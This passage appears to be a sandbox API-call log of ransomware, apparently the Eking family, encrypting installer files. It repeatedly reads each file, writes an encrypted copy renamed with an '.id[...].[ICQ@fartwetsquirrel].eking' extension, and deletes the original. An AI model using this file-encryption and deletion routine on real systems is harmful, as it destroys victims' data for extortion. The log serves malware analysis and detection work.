lpFileSize=0x36ff9a0*=18776) returned 1 [0085.941] CloseHandle (hObject=0x330) returned 1 [0085.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0085.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0085.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.941] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0085.942] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.942] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.942] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0085.942] ReadFile (in: hFile=0x330, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4958, lpOverlapped=0x0) returned 1 [0085.963] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4960, lpOverlapped=0x0) returned 1 [0085.964] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0085.965] CloseHandle (hObject=0x330) returned 1 [0085.965] CloseHandle (hObject=0x32c) returned 1 [0086.186] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0086.188] SetEvent (hEvent=0x2cc) returned 1 [0086.188] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0086.189] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=201796) returned 1 [0086.189] CloseHandle (hObject=0x31c) returned 1 [0086.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0086.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0086.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.189] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0086.189] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.189] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.190] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0086.190] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x31444, lpOverlapped=0x0) returned 1 [0086.320] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x31450, lpOverlapped=0x0) returned 1 [0086.325] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0086.325] CloseHandle (hObject=0x31c) returned 1 [0086.325] CloseHandle (hObject=0x320) returned 1 [0086.332] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0086.335] SetEvent (hEvent=0x2cc) returned 1 [0086.335] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0086.336] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=16118) returned 1 [0086.336] CloseHandle (hObject=0x320) returned 1 [0086.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0086.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0086.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.336] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0086.337] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.337] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.337] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0086.337] ReadFile (in: hFile=0x320, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x3ef6, lpOverlapped=0x0) returned 1 [0086.353] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x3f00, lpOverlapped=0x0) returned 1 [0086.355] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0086.355] CloseHandle (hObject=0x320) returned 1 [0086.355] CloseHandle (hObject=0x31c) returned 1 [0086.359] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0086.361] SetEvent (hEvent=0x2cc) returned 1 [0086.361] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0086.361] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=88533) returned 1 [0086.361] CloseHandle (hObject=0x31c) returned 1 [0086.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0086.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0086.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.362] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0086.362] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.362] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.362] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0086.362] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x159d5, lpOverlapped=0x0) returned 1 [0086.538] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x159e0, lpOverlapped=0x0) returned 1 [0086.541] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0086.541] CloseHandle (hObject=0x31c) returned 1 [0086.541] CloseHandle (hObject=0x320) returned 1 [0086.544] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0086.546] SetEvent (hEvent=0x2cc) returned 1 [0086.547] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0086.548] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=39050) returned 1 [0086.548] CloseHandle (hObject=0x320) returned 1 [0086.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0086.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0086.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.552] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0086.552] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.553] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.553] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0086.555] ReadFile (in: hFile=0x320, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x988a, lpOverlapped=0x0) returned 1 [0086.578] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x9890, lpOverlapped=0x0) returned 1 [0086.579] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0086.579] CloseHandle (hObject=0x320) returned 1 [0086.579] CloseHandle (hObject=0x31c) returned 1 [0086.588] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0086.589] SetEvent (hEvent=0x2cc) returned 1 [0086.589] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0086.590] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=894) returned 1 [0086.590] CloseHandle (hObject=0x31c) returned 1 [0086.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0086.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0086.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.590] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0086.590] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.590] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.590] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0086.590] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x37e, lpOverlapped=0x0) returned 1 [0086.600] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x380, lpOverlapped=0x0) returned 1 [0086.601] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0086.601] CloseHandle (hObject=0x31c) returned 1 [0086.601] CloseHandle (hObject=0x320) returned 1 [0086.603] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0086.604] SetEvent (hEvent=0x2cc) returned 1 [0086.605] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0086.605] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=894) returned 1 [0086.605] CloseHandle (hObject=0x320) returned 1 [0086.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0086.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0086.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.605] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0086.605] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.605] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.605] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0086.606] ReadFile (in: hFile=0x320, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x37e, lpOverlapped=0x0) returned 1 [0086.614] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x380, lpOverlapped=0x0) returned 1 [0086.615] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0086.615] CloseHandle (hObject=0x320) returned 1 [0086.615] CloseHandle (hObject=0x31c) returned 1 [0086.616] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0086.617] SetEvent (hEvent=0x2cc) returned 1 [0086.618] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0086.621] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=894) returned 1 [0086.621] CloseHandle (hObject=0x320) returned 1 [0086.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0086.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0086.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.623] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0086.624] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.624] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.624] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0086.624] ReadFile (in: hFile=0x330, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x37e, lpOverlapped=0x0) returned 1 [0086.650] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x380, lpOverlapped=0x0) returned 1 [0086.652] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0086.652] CloseHandle (hObject=0x330) returned 1 [0086.652] CloseHandle (hObject=0x32c) returned 1 [0086.653] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0086.654] SetEvent (hEvent=0x2cc) returned 1 [0086.654] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.655] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=894) returned 1 [0086.655] 